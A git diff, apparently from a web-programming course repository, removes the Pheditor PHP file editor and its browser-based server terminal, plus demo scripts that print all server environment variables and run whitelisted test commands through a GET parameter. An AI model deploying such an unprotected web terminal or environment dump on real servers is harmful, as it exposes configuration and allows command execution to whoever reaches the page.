-		foreach ([HISTORY_PATH, $file_history_dir] as $dir) {
-			if (file_exists($dir) === false || is_dir($dir) === false) {
-				mkdir($dir, 0777, true);
-			}
-		}
-
-		$history_files = scandir($file_history_dir);
-
-		foreach ($history_files as $key => $history_file) {
-			if (in_array($history_file, ['.', '..', '.DS_Store'])) {
-				unset($history_files[$key]);
-			}
-		}
-
-		$history_files = array_values($history_files);
-
-		if (count($history_files) >= MAX_HISTORY_FILES) {
-			foreach ($history_files as $key => $history_file) {
-				if ($key < 1) {
-					unlink($file_history_dir . DS . $history_file);
-					unset($history_files[$key]);
-				} else {
-					rename($file_history_dir . DS . $history_file, $file_history_dir . DS . $file_name . '.' . ($key - 1));
-				}
-			}
-		}
-
-		copy($file, $file_history_dir . DS . $file_name . '.' . count($history_files));
-	}
-}
-
-function json_error($message, $params = [])
-{
-	return json_encode(array_merge([
-		'error' => true,
-		'message' => $message,
-	], $params), JSON_UNESCAPED_UNICODE);
-}
-
-function json_success($message, $params = [])
-{
-	return json_encode(array_merge([
-		'error' => false,
-		'message' => $message,
-	], $params), JSON_UNESCAPED_UNICODE);
-}
-
-?>
-<!DOCTYPE html>
-<html>
-
-<head>
-	<meta charset="UTF-8">
-	<meta name="viewport" content="width=device-width, initial-scale=1.0">
-	<title>Pheditor</title>
-	<link id="favicon" rel="shortcut icon" type="image/png" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAAhFBMVEUAAAAAAAD////p6ekLCwt+fn43NzccHBzT09PIyMjFxcWysrKnp6ekpKSfn5+ampqNjY2IiIiCgoJ0dHRubm5kZGRdXV1PT09JSUlEREQjIyMTExMHBwf7+/v19fXg4ODW1tbAwMCRkZGDg4N5eXloaGhTU1M+Pj4vLy8sLCwlJSURERGNXQbaAAAAAXRSTlN4HjghaAAAAI1JREFUGNNlz0cSwkAQQ9HRdyI542xyhvvfj5opFoC167dolYzRT/5v6Qui+P6Bp3wLDakDPwM4SQGdA2B1mdFqgRw0C3wNHMVB9dr+wJMeFCHpBiqjG4n8PVEAQU5klOPtoNacpTxPRjOSrBoleA3EtmUrm5C5rpQyHSsHBWeV2JZ2lEsvhctek3GT+W8jMQY7SBmDowAAAABJRU5ErkJggg==">
-	<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.3.1/css/bootstrap.min.css" />
-	<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/jstree/3.3.7/themes/default/style.min.css" />
-	<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.43.0/codemirror.min.css" />
-	<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.43.0/addon/lint/lint.min.css">
-	<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.43.0/addon/dialog/dialog.min.css">
-	<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/css/iziToast.min.css">
-	<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.13.0/css/all.min.css">
-	<style type="text/css">
-		h1,
-		h1 a,
-		h1 a:hover {
-			margin: 0;
-			padding: 0;
-			color: #444;
-			cursor: default;
-			text-decoration: none;
-		}
-
-		#files {
-			padding: 20px 10px;
-			margin-bottom: 10px;
-		}
-
-		#files>div {
-			overflow: auto;
-		}
-
-		#path {
-			margin-left: 10px;
-		}
-
-		.dropdown-item.close {
-			font-size: 1em !important;
-			font-weight: normal;
-			opacity: 1;
-		}
-
-		#loading {
-			top: 0;
-			left: 0;
-			right: 0;
-			bottom: 0;
-			z-index: 9;
-			display: none;
-			position: absolute;
-			background: rgba(0, 0, 0, 0.5);
-		}
-
-		.lds-ring {
-			margin: 0 auto;
-			position: relative;
-			width: 64px;
-			height: 64px;
-			top: 45%;
-		}
-
-		.lds-ring div {
-			box-sizing: border-box;
-			display: block;
-			position: absolute;
-			width: 51px;
-			height: 51px;
-			margin: 6px;
-			border: 6px solid #fff;
-			border-radius: 50%;
-			animation: lds-ring 1.2s cubic-bezier(0.5, 0, 0.5, 1) infinite;
-			border-color: #fff transparent transparent transparent;
-		}
-
-		.lds-ring div:nth-child(1) {
-			animation-delay: -0.45s;
-		}
-
-		.lds-ring div:nth-child(2) {
-			animation-delay: -0.3s;
-		}
-
-		.lds-ring div:nth-child(3) {
-			animation-delay: -0.15s;
-		}
-
-		@keyframes lds-ring {
-			0% {
-				transform: rotate(0deg);
-			}
-
-			100% {
-				transform: rotate(360deg);
-			}
-		}
-
-		.dropdown-menu {
-			min-width: 12rem;
-		}
-
-		#terminal {
-			padding: 5px 10px;
-		}
-
-		#terminal .toggle {
-			cursor: pointer;
-		}
-
-		#terminal pre {
-			background: black;
-			color: #ccc;
-			padding: 5px 10px 10px 10px;
-			border-radius: 5px 5px 0 0;
-			margin: 5px 0 0 0;
-			height: 200px;
-			overflow-y: auto;
-		}
-
-		#terminal input.command {
-			width: 100%;
-			background: #333;
-			color: #fff;
-			border: 0;
-			border-radius: 0 0 5px 5px;
-			margin-bottom: 5px;
-			padding: 5px;
-		}
-
-		#terminal .btn {
-			padding: .5rem .4rem;
-			font-size: .875rem;
-			line-height: .5;
-			border-radius: .2rem;
-		}
-
-		#terminal #prompt:fullscreen pre {
-			margin: 0;
-			border-radius: 0;
-		}
-
-		#terminal #prompt:fullscreen input.command {
-			border-radius: 0;
-		}
-
-		#terminal span.toggle i::before {
-			content: "\f107";
-		}
-
-		#terminal span.toggle.collapsed i::before {
-			content: "\f105";
-		}
-
-		#terminal span.command {
-			color: #eee;
-		}
-	</style>
-	<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.js"></script>
-	<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js"></script>
-	<script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.3.1/js/bootstrap.min.js"></script>
-	<script src="https://cdnjs.cloudflare.com/ajax/libs/jstree/3.3.7/jstree.min.js"></script>
-	<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.43.0/codemirror.min.js"></script>
-	<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.43.0/mode/javascript/javascript.min.js"></script>
-	<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.43.0/mode/css/css.min.js"></script>
-	<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.43.0/mode/php/php.min.js"></script>
-	<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.43.0/mode/xml/xml.min.js"></script>
-	<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.43.0/mode/htmlmixed/htmlmixed.js"></script>
-	<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.43.0/mode/markdown/markdown.js"></script>
-	<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.43.0/mode/clike/clike.min.js"></script>
-	<script src="https://cdnjs.cloudflare.com/ajax/libs/jshint/2.10.2/jshint.min.js"></script>
-	<script src="https://cdnjs.cloudflare.com/ajax/libs/jsonlint/1.6.0/jsonlint.min.js"></script>
-	<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.43.0/addon/lint/lint.min.js"></script>
-	<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.43.0/addon/lint/javascript-lint.min.js"></script>
-	<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.43.0/addon/lint/json-lint.min.js"></script>
-	<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.43.0/addon/lint/css-lint.min.js"></script>
-	<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.43.0/addon/search/search.min.js"></script>
-	<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.43.0/addon/search/searchcursor.min.js"></script>
-	<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.43.0/addon/search/jump-to-line.min.js"></script>
-	<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.43.0/addon/dialog/dialog.min.js"></script>
-	<script src="https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/js/iziToast.min.js"></script>
-	<script type="text/javascript">
-		var editor,
-			modes = {
-				"js": "javascript",
-				"json": "javascript",
-				"md": "text/x-markdown"
-			},
-			last_keyup_press = false,
-			last_keyup_double = false;
-
-		function alertBox(title, message, color) {
-			iziToast.show({
-				title: title,
-				message: message,
-				color: color,
-				position: "bottomRight",
-				transitionIn: "fadeInUp",
-				transitionOut: "fadeOutRight",
-			});
-		}
-
-		function reloadFiles(hash) {
-			$.post("<?= $_SERVER['PHP_SELF'] ?>", {
-				action: "reload"
-			}, function(data) {
-				$("#files > div").jstree("destroy");
-				$("#files > div").html(data.data);
-				$("#files > div").jstree();
-				$("#files > div a:first").click();
-				$("#path").html("");
-
-				window.location.hash = hash || "/";
-
-				if (hash) {
-					$("#files a[data-file=\"" + hash + "\"], #files a[data-dir=\"" + hash + "\"]").click();
-				}
-			});
-		}
-
-		function sha512(string) {
-			return crypto.subtle.digest("SHA-512", new TextEncoder("UTF-8").encode(string)).then(buffer => {
-				return Array.prototype.map.call(new Uint8Array(buffer), x => (("00" + x.toString(16)).slice(-2))).join("");
-			});
-		}
-
-		function setCookie(name, value, timeout) {
-			if (timeout) {
-				var date = new Date();
-				date.setTime(date.getTime() + (timeout * 1000));
-				timeout = "; expires=" + date.toUTCString();
-			} else {
-				timeout = "";
-			}
-
-			document.cookie = name + "=" + value + timeout + "; path=/";
-		}
-
-		function getCookie(name) {
-			var cookies = decodeURIComponent(document.cookie).split(';');
-
-			for (var i = 0; i < cookies.length; i++) {
-				if (cookies[i].trim().indexOf(name + "=") == 0) {
-					return cookies[i].trim().substring(name.length + 1).trim();
-				}
-			}
-
-			return false;
-		}
-
-		$(function() {
-			editor = CodeMirror.fromTextArea($("#editor")[0], {
-				lineNumbers: true,
-				mode: "application/x-httpd-php",
-				indentUnit: 4,
-				indentWithTabs: true,
-				lineWrapping: true,
-				gutters: ["CodeMirror-lint-markers"],
-				lint: true
-			});
-
-			$("#files > div").jstree({
-				state: {
-					key: "pheditor"
-				},
-				plugins: ["state"]
-			});
-
-			$("#files").on("dblclick", "a[data-file]", function(event) {
-				event.preventDefault();
-				<?php
-
-				$base_dir = str_replace($_SERVER['DOCUMENT_ROOT'], '', str_replace(DS, '/', MAIN_DIR));
-
-				if (substr($base_dir, 0, 1) !== '/') {
-					$base_dir = '/' . $base_dir;
-				}
-
-				?>
-				window.open("<?= $base_dir ?>" + $(this).attr("data-file"));
-			});
-
-			$("a.change-password").click(function() {
-				var password = prompt("Please enter new password:");
-
-				if (password != null && password.length > 0) {
-					$.post("<?= $_SERVER['PHP_SELF'] ?>", {
-						action: "password",
-						password: password
-					}, function(data) {
-						alertBox(data.error ? "Error" : "Success", data.message, data.error ? "red" : "green");
-					});
-				}
-			});
-
-			$(".dropdown .new-file").click(function() {
-				var path = $("#path").html();
-
-				if (path.length > 0) {
-					var name = prompt("Please enter file name:", "new-file.php"),
-						end = path.substring(path.length - 1),
-						file = "";
-
-					if (name != null && name.length > 0) {
-						if (end == "/") {
-							file = path + name;
-						} else {
-							file = path.substring(0, path.lastIndexOf("/") + 1) + name;
-						}
-
-						$.post("<?= $_SERVER['PHP_SELF'] ?>", {
-							action: "save",
-							file: file,
-							data: ""
-						}, function(data) {
-							alertBox(data.error ? "Error" : "Success", data.message, data.error ? "red" : "green");
-
-							if (data.error == false) {
-								reloadFiles();
-							}
-						});
-					}
-				} else {
-					alertBox("Warning", "Please select a file or directory", "yellow");
-				}
-			});
-
-			$(".dropdown .new-dir").click(function() {
-				var path = $("#path").html();
-
-				if (path.length > 0) {
-					var name = prompt("Please enter directory name:", "new-dir"),
-						end = path.substring(path.length - 1),
-						dir = "";
-
-					if (name != null && name.length > 0) {
-						if (end == "/") {
-							dir = path + name;
-						} else {
-							dir = path.substring(0, path.lastIndexOf("/") + 1) + name;
-						}
-
-						$.post("<?= $_SERVER['PHP_SELF'] ?>", {
-							action: "make-dir",
-							dir: dir
-						}, function(data) {
-							alertBox(data.error ? "Error" : "Success", data.message, data.error ? "red" : "green");
-
-							if (data.error == false) {
-								reloadFiles();
-							}
-						});
-					}
-				} else {
-					alertBox("Warning", "Please select a file or directory", "yellow");
-				}
-			});
-
-			$(".dropdown .save").click(function() {
-				var path = $("#path").html(),
-					data = editor.getValue();
-
-				if (path.length > 0) {
-					sha512(data).then(function(digest) {
-						$("#digest").val(digest);
-					});
-
-					$.post("<?= $_SERVER['PHP_SELF'] ?>", {
-						action: "save",
-						file: path,
-						data: data
-					}, function(data) {
-						alertBox(data.error ? "Error" : "Success", data.message, data.error ? "red" : "green");
-					});
-				} else {
-					alertBox("Warning", "Please select a file", "yellow");
-				}
-			});
-
-			$(".dropdown .close").click(function() {
-				editor.setValue("");
-				$("#files > div a:first").click();
-				$(".dropdown").find(".save, .delete, .rename, .reopen, .close").addClass("disabled");
-			});
-
-			$(".dropdown .delete").click(function() {
-				var path = $("#path").html();
-
-				if (path.length > 0) {
-					if (confirm("Are you sure to delete this file?")) {
-						$.post("<?= $_SERVER['PHP_SELF'] ?>", {
-							action: "delete",
-							path: path
-						}, function(data) {
-							alertBox(data.error ? "Error" : "Success", data.message, data.error ? "red" : "green");
-
-							if (data.error == false) {
-								reloadFiles();
-							}
-						});
-					}
-				} else {
-					alertBox("Warning", "Please select a file or directory", "yellow");
-				}
-			});
-
-			$(".dropdown .rename").click(function() {
-				var path = $("#path").html(),
-					split = path.split("/"),
-					file = split[split.length - 1],
-					dir = split[split.length - 2],
-					new_file_name;
-
-				if (path.length > 0) {
-					if (file.length > 0) {
-						new_file_name = file;
-					} else if (dir.length > 0) {
-						new_file_name = dir;
-					} else {
-						new_file_name = "new-file";
-					}
-
-					var name = prompt("Please enter new name:", new_file_name);
-
-					if (name != null && name.length > 0) {
-						$.post("<?= $_SERVER['PHP_SELF'] ?>", {
-							action: "rename",
-							path: path,
-							name: name
-						}, function(data) {
-							alertBox(data.error ? "Error" : "Success", data.message, data.error ? "red" : "green");
-
-							if (data.error == false) {
-								reloadFiles(path.substring(0, path.lastIndexOf("/")) + "/" + name);
-							}
-						});
-					}
-				} else {
-					alertBox("Warning", "Please select a file or directory", "yellow");
-				}
-			});
-
-			$(".dropdown .reopen").click(function() {
-				var path = $("#path").html();
-
-				if (path.length > 0) {
-					$(window).trigger("hashchange");
-				}
-			});
-
-			$(window).resize(function() {
-				if (window.innerWidth >= 720) {
-					var terminalHeight = $("#terminal").length > 0 ? $("#terminal").height() : 0,
-						height = window.innerHeight - $(".CodeMirror")[0].getBoundingClientRect().top - terminalHeight - 30;
-
-					$("#files, .CodeMirror").css({
-						"height": height + "px"
-					});
-				} else {
-					$("#files > div, .CodeMirror").css({
-						"height": ""
-					});
-				}
-
-				if (document.fullscreen) {
-					$("#prompt pre").height($(window).height() - $("#prompt input.command").height() - 20);
-				}
-			});
-
-			$(window).resize();
-
-			$(document).bind("keyup keydown", function(event) {
-				if ((event.ctrlKey || event.metaKey) && event.shiftKey) {
-					if (event.keyCode == 78) {
-						$(".dropdown .new-file").click();
-						event.preventDefault();
-
-						return false;
-					} else if (event.keyCode == 83) {
-						$(".dropdown .save").click();
-						event.preventDefault();
-
-						return false;
-					} else if (event.keyCode == 76) {
-						$("#terminal .toggle").click();
-						event.preventDefault();
-
-						return false;
-					}
-				}
-			});
-
-			$(document).bind("keyup", function(event) {
-				if (event.keyCode == 27) {
-					if (last_keyup_press == true) {
-						last_keyup_double = true;
-
-						$("#fileMenu").click();
-						$("body").focus();
-					} else {
-						last_keyup_press = true;
-
-						setTimeout(function() {
-							if (last_keyup_double === false) {
-								if (document.activeElement.tagName.toLowerCase() == "textarea") {
-									if ($("#terminal #prompt").hasClass("show")) {
-										$("#terminal .command").focus();
-									} else {
-										$(".jstree-clicked").focus();
-									}
-								} else if (document.activeElement.tagName.toLowerCase() == "input") {
-									$(".jstree-clicked").focus();
-								} else {
-									editor.focus();
-								}
-							}
-
-							last_keyup_press = false;
-							last_keyup_double = false;
-						}, 250);
-					}
-				}
-			});
-
-			$(window).on("hashchange", function() {
-				var hash = window.location.hash.substring(1),
-					data = editor.getValue();
-
-				if (hash.length > 0) {
-					sha512(data).then(function(digest) {
-						if ($("#digest").val().length < 1 || $("#digest").val() == digest) {
-							if (hash.substring(hash.length - 1) == "/") {
-								var dir = $("a[data-dir='" + hash + "']");
-
-								if (dir.length > 0) {
-									editor.setValue("");
-									$("#digest").val("");
-									$("#path").html(hash);
-									$(".dropdown").find(".save, .reopen, .close").addClass("disabled");
-									$(".dropdown").find(".delete, .rename").removeClass("disabled");
-								}
-							} else {
-								//var file = $("a[data-file='" + hash + "']");
-								var file=hash.substring(hash.lastIndexOf("/"));
-
-								if (file.length > 0) {
-									$("#loading").fadeIn(250);
-
-									$.post("<?= $_SERVER['PHP_SELF'] ?>", {
-										action: "open",
-										file: encodeURIComponent(hash)
-									}, function(data) {
-										if (data.error == true) {
-											alertBox("Error", data.message, "red");
-
-											return false;
-										}
-
-										editor.setValue(data.data);
-										editor.setOption("mode", "application/x-httpd-php");
-
-										sha512(data.data).then(function(digest) {
-											$("#digest").val(digest);
-										});
-
-										if (hash.lastIndexOf(".") > 0) {
-											var extension = hash.substring(hash.lastIndexOf(".") + 1);
-
-											if (modes[extension]) {
-												editor.setOption("mode", modes[extension]);
-											}
-										}
-
-										$("#editor").attr("data-file", hash);
-										$("#path").html(hash).hide().fadeIn(250);
-										$(".dropdown").find(".save, .delete, .rename, .reopen, .close").removeClass("disabled");
-
-										$("#loading").fadeOut(250);
-									});
-								}
-							}
-						} else {
-							$("#digest").val("");
-							$(window).trigger("hashchange");
-						}
-					});
-				}
-			});
-
-			if (window.location.hash.length < 1) {
-				window.location.hash = "/";
-			} else {
-				$(window).trigger("hashchange");
-			}
-
-			$("#files").on("click", ".jstree-anchor", function() {
-				location.href = $(this).attr("href");
-			});
-
-			$(document).ajaxError(function(event, request, settings) {
-				var message = "An error occurred with this request.";
-
-				if (request.responseText.length > 0) {
-					message = request.responseText;
-				}
-
-				if (confirm(message + " Do you want to reload the page?")) {
-					location.reload();
-				}
-
-				$("#loading").fadeOut(250);
-			});
-
-			$(window).keydown(function(event) {
-				if ($("#fileMenu[aria-expanded='true']").length > 0) {
-					var code = event.keyCode;
-
-					if (code == 78) {
-						$(".new-file").click();
-					} else if (code == 83) {
-						$(".save").click();
-					} else if (code == 68) {
-						$(".delete").click();
-					} else if (code == 82) {
-						$(".rename").click();
-					} else if (code == 79) {
-						$(".reopen").click();
-					} else if (code == 67) {
-						$(".close").click();
-					} else if (code == 85) {
-						$(".upload-file").click();
-					}
-				}
-			});
-
-			$(".dropdown .upload-file").click(function() {
-				$("#uploadFileModal").modal("show");
-				$("#uploadFileModal input").focus();
-			});
-
-			$("#uploadFileModal button").click(function() {
-				var form = $(this).closest("form"),
-					formdata = false;
-
-				form.find("input[name=destination]").val(window.location.hash.substring(1));
-
-				if (window.FormData) {
-					formdata = new FormData(form[0]);
-				}
-
-				$.ajax({
-					url: "<?= $_SERVER['PHP_SELF'] ?>",
-					data: formdata ? formdata : form.serialize(),
-					cache: false,
-					contentType: false,
-					processData: false,
-					type: "POST",
-					success: function(data, textStatus, jqXHR) {
-						alertBox(data.error ? "Error" : "Success", data.message, data.error ? "red" : "green");
-
-						if (data.error == false) {
-							reloadFiles();
-						}
-					}
-				});
-			});
-
-			var terminal_dir = "";
-
-			$("#terminal .command").keydown(function(event) {
-				if (event.keyCode == 13) {
-					if ($(this).val().length > 0) {
-						var _this = $(this)
-						_val = _this.val();
-
-						if (_val.toLowerCase() == "clear") {
-							$("#terminal pre").html("");
-							_this.val("").focus();
-
-							return true;
-						}
-
-						_this.prop("disabled", true);
-						$("#terminal pre").append("<span class=\"command\">&gt; " + _val + "</span>\n");
-						$("#terminal pre").animate({
-							scrollTop: $("#terminal pre").prop("scrollHeight")
-						});
-
-						$.post("<?= $_SERVER['PHP_SELF'] ?>", {
-							action: "terminal",
-							command: _val,
-							dir: terminal_dir
-						}, function(data) {
-							if (data.error) {
-								$("#terminal pre").append(data.message);
-							} else {
-								if (data.dir != null) {
-									terminal_dir = data.dir;
-								}
-
-								if (data.result == null) {
-									data.result = "Command not found\n";
-								}
-
-								$("#terminal pre").append(data.result);
-							}
-
-							$("#terminal pre").stop().animate({
-								scrollTop: $("#terminal pre").prop("scrollHeight")
-							});
-							_this.val("").prop("disabled", false).focus();
-						});
-					} else {
-						$("#terminal pre").append("\n");
-						$("#terminal pre").stop().animate({
-							scrollTop: $("#terminal pre").prop("scrollHeight")
-						});
-					}
-				}
-			});
-
-			$("#terminal .toggle").click(function() {
-				if ($(this).attr("aria-expanded") != "true") {
-					$("#terminal .command").focus();
-				}
-			});
-
-			$('#prompt').on('show.bs.collapse', function() {
-				$("#terminal").find(".clear, .copy, .fullscreen").css({
-					"display": "block",
-					"opacity": "0",
-					"margin-right": "-30px"
-				}).animate({
-					"opacity": "1",
-					"margin-right": "0px"
-				}, 250);
-
-				if (window.innerWidth >= 720) {
-					var height = window.innerHeight - $(".CodeMirror")[0].getBoundingClientRect().top - $("#terminal #prompt").height() - 55;
-
-					$("#files, .CodeMirror").animate({
-						"height": height + "px"
-					}, 250);
-				} else {
-					$("#files > div, .CodeMirror").animate({
-						"height": ""
-					}, 250);
-				}
-
-				setCookie("terminal", "1", 86400);
-			}).on('hide.bs.collapse', function() {
-				$("#terminal").find(".clear, .copy, .fullscreen").fadeOut();
-
-				if (window.innerWidth >= 720) {
-					var height = window.innerHeight - $(".CodeMirror")[0].getBoundingClientRect().top - $("#terminal span").height() - 35;
-
-					$("#files, .CodeMirror").animate({
-						"height": height + "px"
-					}, 250);
-				} else {
-					$("#files > div, .CodeMirror").animate({
-						"height": ""
-					}, 250);
-				}
-
-				setCookie("terminal", "0", 86400);
-			}).on('shown.bs.collapse', function() {
-				$("#terminal .command").focus();
-			});
-
-			$("#terminal button.clear").click(function() {
-				$("#terminal pre").html("");
-				$("#terminal .command").val("").focus();
-			});
-
-			$("#terminal button.copy").click(function() {
-				$("#terminal").append($("<textarea>").html($("#terminal pre").html()));
-
-				element = $("#terminal textarea")[0];
-				element.select();
-				element.setSelectionRange(0, 99999);
-				document.execCommand("copy");
-
-				$("#terminal textarea").remove();
-			});
-
-			if (getCookie("terminal") == "1") {
-				$("#terminal .toggle").click();
-			}
-
-			$("#terminal .fullscreen").click(function() {
-				var element = $("#terminal #prompt")[0];
-
-				if (element.requestFullscreen) {
-					element.requestFullscreen();
-
-					setTimeout(function() {
-						$("#prompt pre").height($(window).height() - $("#prompt input.command").height() - 20);
-						$("#prompt input.command").focus();
-					}, 500);
-				}
-			});
-
-			$(window).on("fullscreenchange", function() {
-				if (document.fullscreenElement == null) {
-					$("#terminal #prompt pre").css("height", "");
-					$(window).resize();
-				}
-			});
-		});
-	</script>
-</head>
-
-<body>
-
-	<div class="container-fluid">
-
-		<div class="row p-3">
-			<div class="col-md-3">
-				<h1><a href="http://github.com/hamidsamak/pheditor" target="_blank" title="Pheditor <?= VERSION ?>">Pheditor</a></h1>
-			</div>
-			<div class="col-md-9">
-				<div class="float-left">
-					<div class="dropdown float-left">
-						<button class="btn btn-secondary dropdown-toggle" type="button" id="fileMenu" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">File</button>
-						<div class="dropdown-menu" aria-labelledby="fileMenu">
-							<?php if (in_array('newfile', $permissions)) { ?>
-								<a class="dropdown-item new-file" href="javascript:void(0);">New File <span class="float-right text-secondary">N</span></a>
-							<?php } ?>
-
-							<?php if (in_array('newdir', $permissions)) { ?>
-								<a class="dropdown-item new-dir" href="javascript:void(0);">New Directory</a>
-							<?php } ?>
-
-							<?php if (in_array('uploadfile', $permissions)) { ?>
-								<a class="dropdown-item upload-file" href="javascript:void(0);">Upload File <span class="float-right text-secondary">U</span></a>
-							<?php } ?>
-
-							<?php if (in_array('newfile', $permissions) || in_array('newdir', $permissions)) { ?>
-								<div class="dropdown-divider"></div>
-							<?php } ?>
-
-							<?php if (in_array('newfile', $permissions) || in_array('editfile', $permissions)) { ?>
-								<a class="dropdown-item save disabled" href="javascript:void(0);">Save <span class="float-right text-secondary">S</span></a>
-							<?php } ?>
-
-							<?php if (in_array('deletefile', $permissions) || in_array('deletedir', $permissions)) { ?>
-								<a class="dropdown-item delete disabled" href="javascript:void(0);">Delete <span class="float-right text-secondary">D</span></a>
-							<?php } ?>
-
-							<?php if (in_array('renamefile', $permissions) || in_array('renamedir', $permissions)) { ?>
-								<a class="dropdown-item rename disabled" href="javascript:void(0);">Rename <span class="float-right text-secondary">R</span></a>
-							<?php } ?>
-
-							<a class="dropdown-item reopen disabled" href="javascript:void(0);">Re-open <span class="float-right text-secondary">O</span></a>
-							<div class="dropdown-divider"></div>
-							<a class="dropdown-item close disabled" href="javascript:void(0);">Close <span class="float-right text-secondary">C</span></a>
-						</div>
-					</div>
-					<span id="path" class="btn float-left"></span>
-				</div>
-
-				<div class="float-right">
-					<?php if (in_array('changepassword', $permissions)) { ?><a href="javascript:void(0);" class="change-password btn btn-sm btn-primary">Password</a> &nbsp; <?php } ?><a href="<?= $_SERVER['PHP_SELF'] ?>?logout=1" class="btn btn-sm btn-danger">Logout</a>
-				</div>
-			</div>
-		</div>
-
-		<div class="row px-3">
-			<div class="col-lg-3 col-md-3 col-sm-12 col-12">
-				<div id="files" class="card">
-					<div class="card-block"><?= files(MAIN_DIR) ?></div>
-				</div>
-			</div>
-
-			<div class="col-lg-9 col-md-9 col-sm-12 col-12">
-				<div class="card">
-					<div class="card-block">
-						<div id="loading">
-							<div class="lds-ring">
-								<div></div>
-								<div></div>
-								<div></div>
-								<div></div>
-							</div>
-						</div>
-						<textarea id="editor" data-file="" class="form-control"></textarea>
-						<input id="digest" type="hidden" readonly>
-					</div>
-				</div>
-			</div>
-
-			<?php if (in_array('terminal', $permissions) !== false) : ?>
-				<div class="col-12">
-					<div class="card">
-						<div class="card-block">
-							<div id="terminal">
-								<div>
-									<button type="button" class="btn btn-light float-right ml-1 clear" style="display: none;">Clear</button>
-									<button type="button" class="btn btn-light float-right ml-1 copy" style="display: none;">Copy to clipboard</button>
-									<button type="button" class="btn btn-light float-right ml-1 fullscreen" style="display: none;">Full Screen</button>
-									<span class="toggle collapsed" data-toggle="collapse" data-target="#prompt"><i class="fa"></i> Terminal</span>
-									<div style="clear:both"></div>
-								</div>
-								<div id="prompt" class="collapse">
-									<pre></pre>
-									<input name="command" type="text" value="" class="command" autocomplete="off">
-								</div>
-							</div>
-						</div>
-					</div>
-				</div>
-			<?php endif; ?>
-
-		</div>
-
-	</div>
-
-	<form method="post">
-		<input name="action" type="hidden" value="upload-file">
-		<input name="destination" type="hidden" value="">
-
-		<div class="modal" id="uploadFileModal">
-			<div class="modal-dialog">
-				<div class="modal-content">
-					<div class="modal-header">
-						<h4 class="modal-title">Upload File</h4>
-						<button type="button" class="close" data-dismiss="modal">&times;</button>
-					</div>
-					<div class="modal-body">
-						<div>
-							<input name="uploadfile[]" type="file" value="" multiple>
-						</div>
-						<?php
-
-						if (function_exists('ini_get')) {
-							$sizes = [
-								ini_get('post_max_size'),
-								ini_get('upload_max_filesize')
-							];
-
-							$max_size = max($sizes);
-
-							echo '<small class="text-muted">Maximum file size: ' . $max_size . '</small>';
-						}
-
-						?>
-					</div>
-					<div class="modal-footer">
-						<button type="button" class="btn btn-success" data-dismiss="modal">Upload</button>
-					</div>
-				</div>
-			</div>
-		</div>
-	</form>
-
-</body>
-
-</html>
\ No newline at end of file
diff --git a/src/Demos/cgi-bin/printenv.php b/src/Demos/cgi-bin/printenv.php
deleted file mode 100644
index 5d9237a837e832a65b922736fdcb1ad85ea2b2fe..0000000000000000000000000000000000000000
--- a/src/Demos/cgi-bin/printenv.php
+++ /dev/null
@@ -1,18 +0,0 @@
-<!DOCTYPE html>
-<html lang="de">
-<head>
-    <meta charset="UTF-8"/>
-    <title>Umgebungsvariablen</title>
-</head>
-<body>
-
-<pre>
-<?php
-foreach ($_SERVER as $key => $value) {
-    print "$key=$value\n";
-}
-?>
-</pre>
-
-</body>
-</html>
diff --git a/src/Demos/cgi-bin/shellexec.php b/src/Demos/cgi-bin/shellexec.php
deleted file mode 100644
index ecace83b673e4b0082f60cb09af89812ab02a16e..0000000000000000000000000000000000000000
--- a/src/Demos/cgi-bin/shellexec.php
+++ /dev/null
@@ -1,60 +0,0 @@
-<?php
-if (isset($_GET["command"])){
-  $command=$_GET["command"];
-  //echo "$command\n";
-
-  
-  // List of supported commands - mapping to Linux commands
-  $whitelist = array();
-  
-  $whitelist["PHPUnit"]="cd Demos/PHP/PHPunit; phpunit --cache-result-file /tmp/phpunitCache --colors=auto --include-path ./src ./tests CalcTest.php";
-  $whitelist["CodeSniffer"]="cd Demos/PHP/Flughafen_Seitenklassen; phpcs --standard=zend Result.php";
-  //$whitelist["PHPdoc"]="cd Klausuren/20SS; phpdoc -d . -n --force --title=Klausur_SS20 --cache-folder /tmp/ --sourcecode -t /tmp/generated/phpdoc";
-  $whitelist["PHPdoc"]="cd Demos/PHP/Seitenklassen; phpdoc -d . -n --force --title=EWA --cache-folder /tmp/ --sourcecode -t /tmp/generated/phpdoc";
-  $whitelist["testdox"]="cd Demos/PHP/PHPunit; phpunit --cache-result-file /tmp/phpunitCache --colors=auto --testdox --include-path ./src ./tests CalcTest.php";
